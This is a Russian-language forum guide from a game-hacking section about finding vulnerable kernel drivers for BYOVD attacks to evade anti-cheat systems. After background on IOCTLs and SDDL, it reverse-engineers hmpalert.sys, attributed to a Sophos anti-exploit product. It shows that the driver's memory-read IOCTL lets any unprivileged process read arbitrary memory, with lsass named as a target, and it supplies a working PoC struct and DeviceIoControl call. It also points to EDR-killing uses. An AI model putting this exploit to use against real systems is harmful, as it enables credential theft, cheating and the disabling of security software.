Информация Гайд [GameHacking] Находим 0-day дыру в драйвере, о которой не знает античит и читаем физическую память.

RichieKuklinski_

Участник
Автор темы
22
33
Любой процесс эксплуатации драйверов начинается с самого первого важного этапа, а именно разведки. Для сбора информации касаемо драйверов можно, например, воспользоваться утилитой типа Driver Explorer и уже, собственно говоря, с ее помощью копать в нужную сторону и искать необходимые драйверы.

Технологии эволюционируют, античитерское ПО становится сильнее и мощнее. Большинство современных античитов имеют минимум один драйвер, который имеет полные права в системе. Время когда защита игры основывалась только на статическом анализе процессов и поиске сигнатур в памяти, ушло далеко в прошлое(хоть и все также используется, обычно античит имеет при себе определенную DLL которая работает в адресном пространстве игры), и разработчики читов в курсе этого, поэтому у них возникает логичная проблема, как бороться с современным качественным античитом (например, Vanguard или EAC)? Конечно, можно надеяться на то, что игра обладает каким-то дырявым драйвером, но сожалению в современных реалиях это не так), а делать читы на неизвестные игры это невыгодно, а для читов на такие игры как Rust(официальный) необходим драйвер. Чтобы обходить подобные продвинутые решения, они прибегают к технике BYOVD.

При атаке через BYOVD у кодера всегда есть уязвимый легитимный драйвер, но его ищут двумя путями, первый это просто в наглую взять готовый паблик-драйвер с сайта LOLDrivers, где их лежит целая куча. Но такие общеизвестные драйверы античиты моментально заносят в блеклисты и блокируют через каллбеки(например используя PsSetLoadImageNotifyRoutine, или через ELAM) . Второй вариант намного интереснее - расковырять и найти уязвимость вручную в каком-нибудь старом системном драйвере или софте для разгона видюхи, имхо это дает уникальный вектор атаки, ну, потому что драйвера нет нигде в паблике соответственно в черные списки его заносить нет причин.

Содержание статьи:
1. Работа драйверов;
2. Механизм взаимодействия USERMODE / KERNEL-MODE;
3. SDDL / ACL;
4. Реверсинг драйвера NdkPing.sys;
5. Реверсинг драйвера hmpalert.sys;
6. Заключение.

Немного про работу драйверов.
Драйвер - это файл, который относится к PE формату (исполняемые файлы Windows), у драйвера точно так же, как и у .exe файла присутствуют таблицы импорта и экспорта, секции, точка входа и другие структуры, характерные для формата PE. Подробнее, кстати, можете почитать тут - https://habr.com/ru/articles/266831/

Основное отличие заключается в том, что драйвер выполняется не в пользовательском режиме, а в режиме ядра, имея значительно более высокий уровень привилегий, в следствие чего, драйвер может взаимодействовать с объектами ядра, выполнять операции с физической и виртуальной памятью, предоставлять пользовательским приложениям интерфейс для взаимодействия с оборудованием или собственными механизмами через объект устройства DEVICE_OBJECT.
Конечно же в случае, если внутри самого обработчика IOCTL заложена та или иная логика.

Механизм взаимодействия USER-MODE / KERNEL-MODE
Как уже было сказано выше, драйвер работает в режиме ядра, а обычное приложение - в пользовательском режиме, из соображений безопасности пользовательское приложение не может просто взять и вызвать какую-нибудь функцию внутри драйвера, для этого в Windows предусмотрен специальный механизм взаимодействия между пользовательским режимом и режимом ядра. В большинстве случаев все строится вокруг объекта устройства (DEVICE_OBJECT). Во время своего запуска, а если быть точным инициализации, драйвер создает объект устройства, после чего, как правило, регистрирует для него символьную ссылку, а уже по этой ссылке пользовательское приложение в дальнейшем сможет получить доступ к драйвер(точнее, не полноценный, но об этом дальше).

Как правило, драйвер внутри главной функции(DriverEntry) проводит несколько этапов настройки самого драйвера:
1. Регистрирует объект устройства IoCreateDevice;
C++:
NTSTATUS device = IoCreateDevice(DriverObject, sizeof(ULONG), &deviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &deviceObject);
    if (!NT_SUCCESS(device)) return device;
2. Создает символьную ссылку IoCreateSymbolicLink через которую пользовательское приложение сможет открыть устройство;
C++:
device = IoCreateSymbolicLink(&shield::core::symLinkName, &deviceName);
    if (!NT_SUCCESS(device))
    {
        IoDeleteDevice(deviceObject);
        return device;
    }
3. Регистрирует обработчики IRP-запросов;
C++:
DriverObject->MajorFunction[IRP_MJ_CREATE] = IRPCREATECLOSE;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = IRPCREATECLOSE;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControl;
IRP - это специальная структура, при помощи которой диспетчер ввода-вывода Windows передает драйверу различные запросы, т.е практически любое взаимодействие с драйвером происходит именно через IRP. В приведенном выше примере я зарегистрировал три обработчика. Каждый из них отвечает за определенный тип запроса.
1. IRP_MJ_CREATE вызывается в момент открытия устройства, например при вызове CreateFileW;
2. IRP_MJ_CLOSE вызывается при закрытии дескриптора устройства;
3. IRP_MJ_DEVICE_CONTROL вызывается тогда, когда пользовательское приложение обращается к драйверу через функцию DeviceIoControl.
1783684907445.png

Проще говоря, когда приложение вызывает CreateFile условно, чтобы открыть дескриптор, или же DeviceIoControl чтобы отправить запрос драйверу с IOCTL-кодом, управление не попадает в драйвер напрямую. Сначала Windows формирует IRP-пакет, после чего передает его соответствующему обработчику, который разработчик зарегистрировал в DriverObject/MajorFunction.
4. После этого драйвер заполняет необходимые поля структуры DRIVER_OBJECT;
5. При необходимости выполняет дополнительную инициализацию внутренних структур, выделяет память, регистрирует различные каллбеки(антивирусы/античиты) и прочее, но это нам неинтересно.

Разберем более подробно, только с точки зрения юзер-мода. После того как драйвер загрузился и создал устройство, пользовательское приложение может открыть его обычным вызовом CreateFile/W:
C++:
HANDLE hDevice = CreateFileA(
    "\\\\.\\ardrv",
    GENERIC_READ | GENERIC_WRITE,
    0,
    nullptr,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    nullptr
);

if (hDevice == INVALID_HANDLE_VALUE)
{
    std::printf("error");
    return 0;
}
После инициализации этого когда Windows вернет дескриптор объекта утройства, через который приложение сможет общаться с драйвером. Несмотря на название функции, никакой файл код не открывает.
После получения дескриптора можно отправлять различные запросы при помощи функции DeviceIoControl:
C++:
DWORD bytesReturned;
DeviceIoControl(
    hDevice,
    IOCTL_VULN_OPERATION,
    &InputBuffer,
    sizeof(InputBuffer),
    &OutputBuffer,
    sizeof(OutputBuffer),
    &bytesReturned,
    nullptr
);
1. Первый параметр передается дескриптор устройства(который был получен после вызова CF);
2. Вторым параметром передается IOCTL код, который определяет, какое именно действие должен выполнить драйвер. Остальные же параметры содержат входные и выходные данные. Более подробно ознакомится с этой функцией вы можете в документации MSDN.

Когда приложение вызывает DeviceIoControl, диспетчер ввода-вывода (I/O Manager) формирует структуру IRP и передает ее драйверу, после чего управление попадает в обработчик IRP_MJ_DEVICE_CONTROL, где разработчик самостоятельно реализует обработку каждого IOCTL
C++:
NTSTATUS DeviceControl
(
    PDEVICE_OBJECT DeviceObject,
    PIRP Irp
)
{
    PIO_STACK_LOCATION stack =
        IoGetCurrentIrpStackLocation(Irp);

    switch (stack->Parameters.DeviceIoControl.IoControlCode)
    {
    case IOCTL_OPERATION:

        //
        // обработка
        //

        break;

    default:
        break;
    }

    Irp->IoStatus.Status = STATUS_SUCCESS;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return STATUS_SUCCESS;
}
В частности здесь обычно и находится интересующая нас логика, в случае если разработчик допустил ошибку при проверке входных данных, обработке указателей или настройке прав доступа к устройству, пользовательское приложение сможет воспользоваться этим и выполнить действия, которые изначально не должны были быть ему доступны. В рамках данной статьи нас интересует именно второй случай - неправильная настройка прав доступа к объекту устройства, из-за этого любой пользователь может открыть дескриптор устройства и беспрепятственно отправлять драйверу IOCTL-запросы, что в дальнейшем и позволит перейти к эксплуатации уязвимости, например, мы смжоем читать физическую память.

SDDL / ACL
SDDLявляется специальным языком, который описывает права доступа (т.е. политики безопасности) к системным объектам в виде компактной текстовой строки. Непосредственно именно в контексте драйверов SDDLзадает, какие пользовательские или системные процессы имеют права на обращение к драйверу, его чтение или изменение. В Windows на уровне пользователя (usermode) права разделяются на несколько видов(объясню про самые важные):

1. Пользователь
2. Admin
3. SYSTEM

Соответственно, через настройку SDDL драйвер имеет право ограничить группу, которой запрещено обращаться к нему и, к примеру, открывать его дескриптор через функцию типа CreateFileW. Если же SDDL не настроен должным образом, любой условный вредоносный процесс или непривилегированный пользователь может отправить драйверу команду, которая вызовет сбой системы или скомпрометирует безопасность. А сама же технология SDDLпредотвращает это определяя ACL. ACL - это попросту говоря, список контроля доступа, который состоит из отдельных правил, где жестко прописано, что вот определенному пользователю можно читать и писать, а этому вообще сюда лезть нельзя. Когда какая-то юзермод программа пытается достучаться до драйвера через CreateFileW, ОС сверяет права процесса с этим списком, в случае если совпадений нет или стоит явный запрет - система сразу шлет процесс куда подальше с ошибкой Access Denied(5), и до самого драйвера запрос даже не доходит:
1783685143614.png

Сама строка SDDL состоит из 4-х основных блоков, каждый из которых начинается с заглавной буквы и двоеточия:

1. Q(Owner) - владелец объекта(например, SYSTEM);
2. G(Group) - основная группа валдельца;
3. D(DACL) - список контроля доступа, как раз то, про что мы говорили выше. Тут лежат конкретные правила - кому разрешено слать IOCTL-запросы драйверу, а кого система развернет обратно;
4. S(SACL) - список системного аудита;
На практике в драйверах чаще всего вы будете видеть только блок DACL, например вот такая строка как дикая каша из букв: D:(A;;GA;;;SY)(A;;GA;;;BA).

D - открывает список прав. SY - SYSTEM, BA - встроенные админы, а GA дает им полный доступ (Generic All), а вот обычных пользователей (значение BU) в этой строке просто нет, поэтому при попытке открыть дескриптор они и отлетают с ошибкой 5, которая показана выше.

Реверсим драйвер NdkPing.sys
Этот драйвер является стандартным системным от Microsoft. Он обеспечивает работу Network Direct для тестирования RDMA-подключений с низкой задержкой напрямую. Чтобы продемонстрировать, как выглядит напичканный безопасностью драйвер, мы возьмем именно его.
Лично от себя могу дать совет - тратить время на поиск уязвимостей в официальных драйверах от Microsoft смысла мало. Каждый такой драйвер хорошенько отшлифован (тем более на старой Windows типа 10). Именно поэтому вы можете наблюдать такой огромный ажиотаж вокруг уязвимых драйверов от условной AMD или Intel, да и в целом от других сторонних вендоров софта.

В главной функции драйвера (DriverEntry) мы можем наблюдать то, как драйвер создает символическое имя. По нему приложение из юзермода может обращаться к его устройству и получать дескриптор. Но важнее обратить внимание на такую функцию диспетчеризации, как DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&RdmaPingDeviceControl, которая располагается под индексом 14. С практикой, когда вы начнете чаще залазить в подобные драйверы и анализировать их, вы начнете замечать, что обычно обработчик IOCTL находится в MajorFunction[IRP_MJ_DEVICE_CONTROL] (индекс 0x0E), хотя драйвер может вообще не реализовывать этот обработчик. Это стоит помнить.

Т.е такое вы будете наблюдать часто потому, что массив MajorFunction в структуре DRIVER_OBJECT содержит указатели на функции обработки пакетов запросов ввода-вывода (IRP), индекс 14 (или 0x0E в шестнадцатеричной системе счисления) как раз соответствует основному коду IRP_MJ_DEVICE_CONTROL. А если вы забыли, я вам напомню самые основные виды IRP:

1. 0x00 - IRP_MJ_CREATE(открытие дескриптора);
2. 0x02 - IRP_MJ_CLOSE(закрытие дескриптора);
3. 0x0E - IRP_MJ_DEVICE_CONTROL(обработка IOCTL запросов из юзермода);
4. 0x0F - IRP_MJ_SHUTDOWN(выключение системы)
5. 0x16 - IRP_MJ_POWER(упралвение питнием)

В данном списке располагаются, на мой взгляд, самые важные IRP-шки, все я перечислять не буду. Непосредственно сам скриншот:
1783685246348.png

Если мы перейдем по данной функции, ничего сверхъестественного вы не увидите функция диспетчеризации есть функцией диспетчризации, за одним огромным НО. Это то, как настраивается политика безопасности и в целом защита от взаимодействия драйвера с сомнительными юзермод-процессами. Для настройки политики безопасности драйвер использует ряд функций:
C++:
00000001C000D178        ZwSetSecurityObject
00000001C000D180        RtlSetDaclSecurityDescriptor
00000001C000D1C0        RtlCreateSecurityDescriptor
00000001C000D1D0        RtlLengthSecurityDescriptor
00000001C000D1E0        SeCaptureSecurityDescriptor
00000001C000D1E8        RtlGetSaclSecurityDescriptor
00000001C000D1F0        RtlGetOwnerSecurityDescriptor
00000001C000D1F8        RtlGetGroupSecurityDescriptor
00000001C000D200        RtlGetDaclSecurityDescriptor
В самом начале кода функция динамически импортирует SeConvertStringSecurityDescriptorToSecurityDescriptor через MmGetSystemRoutineAddress. Это стандартная виндовая тема для парсинга текстовой строки SDDL в бинарный дескриптор безопасности, но если этой функции в системе вдруг нет (например, на старых версиях ОС), драйвер переходит к запасному плану и начинает собирать защиту вручную с помощью внутренних механизмов (SepSddlDaclFromSDDLString).

Сначала создается пустой дескриптор безопасности через RtlCreateSecurityDescriptor. Дальше из текстовой строки SDDL вытаскивается готовый список правил доступа (DACL) и привязывается к этому дескриптору через функцию RtlSetDaclSecurityDescriptor. После чего вся эта конструкция переводится в компактный вид с помощью функции RtlAbsoluteToSelfRelativeSD, чтобы ее можно было легко хранить в памяти:
1783685314934.png

Последовательно данный процесс можно описать так:

1. Драйвер инициализирует пустой дескриптор в памяти ядра;
2. Из строки SDDL вытаскивается готовый список ограничений и вешается на этот дескриптор;
3. Полученный пирог собирается в компактный бинарный вид для удобного хранения;
4. В памяти ядра забивается отдельный кусок под созданную структуру защиты;
5. Готовый дескриптор накатывается на девайс, закрывая доступ для обычных юзеров;

В результате получаем то, что получаем, при попытке открытия при попытке открытия дескриптора из обычного юзермода, система сразу выдаст ту ошибку 5 (Access Denied), которую я показывал чуть выше в консольке.
1783685339591.png

А теперь перейдем к драйверу который забыл реализовать подобную защиту и разберем уже его. Изучим его и попробуем получить цель для BYOVD.

Реверсим драйвер hmpalert.sys
Часа этак два я искал необходимый драйвер для статьи. Но потом вспомнил, что я анализировал драйвер узкоспециализированного западного антивируса, который используется многими компаниями. Данный антивирус идентифицируется как противоэксплойтное ПО. Познакомимся с их драйвером. Сайт поставщика - https://home.sophos.com/en-us

Как и с прошлым драйвером, с этим мы наблюдаем примерно что-то схожее. Драйвер инициализирует символическое имя, по которому можно будет открыть дескриптор устройства. Параллельно с этим показывая нам в открытую функцию диспетчеризации IOCTL-запросов (напомню, она находится под 14 индексом):
1783685416284.png

Самое вкусное в этом драйвере конкретно то, что он является антивирусным. Соответственно, шанс встретить в нем какой-нибудь IOCTL для чтения/записи физической или виртуальной памяти, либо последовательность функций, которые в дальнейшем дадут шанс на LPE (локальное повышение привилегий), довольно высокий. После открытия функции диспетчеризации мы наблюдаем огромное количество кодов:
1783685432161.png

Разберем самые интересные из них, а именно:

1. 0x2222CC - прямая работа с памятью(чтение/запись);
2. 0x22220 - получение дескриптора процесса по PID;
C++:
case 0x222220u:
    if ( v11 >= 8uLL ) {
        v104 = *(__int64 **)(a2 + 24);
        v105 = *v104;
 
        v10 = sub_18004B8D0(v105, &v106);
 
        if ( v10 >= 0 ) {
            v107 = *(_DWORD **)(a2 + 24);
            v9 = sub_180001590(v106);
            *v107 = v9; 
            *(_QWORD *)(a2 + 56) = 4;
        }
    }
    break;
Подобная логика интересна может быть, например EDR-киллерам, которые обычно отправляют драйверу в виде IOCTL, PID процесса антивируса и уже из под драйвера килляют этот процесс.
3. 0x222200 - открытие процесса с определенными правами доступа;
4. 0x222108/0x22210C - управление разными событиями;
5. 0x2220F0 - переключение режимов раборты драйвера.

Теперь попробуем открыть дескриптор данного устройства и отправить ему какой-то запрос, например на чтение памяти. Начну с того, что из дизассемблера видно, что драйвер ожидает структуру вида:
C++:
struct MEMORY_RW_REQUEST
{
    ULONG_PTR ProcessId;    // id process
    ULONG_PTR BaseAddress;  //addr
    ULONG_PTR Buffer;       // buffer
    ULONG Size;             // size
};
Непосредственно ключевая проверка буфера в коде выглядит следующим образом:
C++:
if ( *(_QWORD *)(v27 + 16) < (unsigned __int64)MmHighestUserAddress ) {
    if ( *(_QWORD *)(v27 + 16) + (unsigned __int64)*(unsigned int *)(v27 + 24)
         < (unsigned __int64)MmHighestUserAddress ) {
        v10 = sub_18002F820();
    }
}
Т.е, разработчики драйвера пытаются обезопасить систему и проверяют, чтобы переданный нами юзермод-буфер (v27 + 16 это поле Buffer) и его конечный адрес (Buffer + Size) целиком находились в пользовательском адресном пространстве, ниже системной границы MmHighestUserAddress. Но мы можем прочитать данные в любом случае, смысл в том, что эта проверка валидирует только наш локальный буфер (куда запишется результат), чтобы драйвер случайно не затер само ядро, а вот поле BaseAddress (откуда мы хотим прочитать память) в этой проверке вообще никак не участвует.

Соответственно можно попробовать передать в этот базовый адрес абсолютно любой адрес и PID процесса, включая структуры других драйверов, защищенных процессов(например, lsass.exe), в результате драйвер без лишних вопросов пойдет по этому адресу, спокойно скопирует данных и положит их наш в легитимный юзер-мод буфер. Т.е проверка защищает от перезаписи, но никак не мешет полностью слить память наружу. Функция sub_18002F820, кстсти, выглядит следующим образом:
1783685542481.png

Разберу поверхностно самые важные этапы которые здесь происходят:

1. Драйвер берет переданный нами PID и находит структуру целевого процесса;
2. После чего поток драйвера временно переключается в адресное пространство этого процесса(KeStackAttachProcess);
3. После чего вызывается функция для проверки адреса;
4. Драйвер отключается от процесса.

Исходя из данной информации, мы можем проверить нашу гипотезу касаемо уязвимости и написать небольшой POC. Попробуем почитать память PDF-reader-а процесса и получаем следующее:
1783685563100.png

Исходя из скриншота, мы видим полное подтверждение нашей гипотезы на практике. На левой панели отображается вывод нашего PoC-эксплоита, который успешно нацелился на процесс SumatraPDF.exe. Драйвер без лишних вопросов открыл свой дескриптор 0x4b0 для обычного юзермод-процесса, схавал нашу структуру MEMORY_RW_REQUEST и успешно выполнил IOCTL-запрос 0x222004, в результате получаем дамп байтов вида 0x48/0x89/0x5c/0x24/0x08/0x48/0x89/0x6c. Теперь разберем код.

Для начала нужно было инициализировать структуру, которую мы разбирали выше. Выглядит она следующим образом(напоминаю):
C++:
struct MEMORY_RW_REQUEST
{
    ULONG_PTR ProcessId;
    ULONG_PTR BaseAddress;
    ULONG_PTR Buffer;
    ULONG Size;
};
После чего начинаем заполнять эту структуры данными. В поле процесса закидываем PID процесса, базовый адрес:
C++:
MEMORY_RW_REQUEST request;
request.ProcessId = 12252;  // pid процесса
request.BaseAddress = 0xFFFFF800042A3000;  // адрес
request.Buffer = reinterpret_cast<ULONG_PTR>(&myUserBuffer); // буфер из юзермода
request.Size = 8;
Когда структура готова, мы скармливаем ее функции DeviceIoControl, передавая хэндл устройства и уязвимый IOCTL-код 0x222004:
C++:
DWORD bytesReturned = 0;
BOOL success = DeviceIoControl(
    hDevice,
    0x222004, // ioctl
    &request,
    sizeof(request),
    &request,                           
    sizeof(request),
    &bytesReturned,
    nullptr
);
На этом все. Никаких трудностей, только внимательность и бдительность.

Заключение
В заключение хотелось бы дать пару советов. А именно - практикуйтесь, пробуйте и прочее. В процессе очень интересно перебирать драйвера и искать в них уязвимости. Также советую смотреть именно антивирусные драйверы, потому что в них очень много вкусных IOCTL-кодов бывает, довольно много антивирусных драйверов имеют уязвимость(тот же 360 total можете глянуть). Спасибо за чтение, бх.

Полезный материал:
1. Руководство по поиску багов - https://www.ioactive.com/wp-content...gineering_and_Bug_Hunting_On_KMDF_Drivers.pdf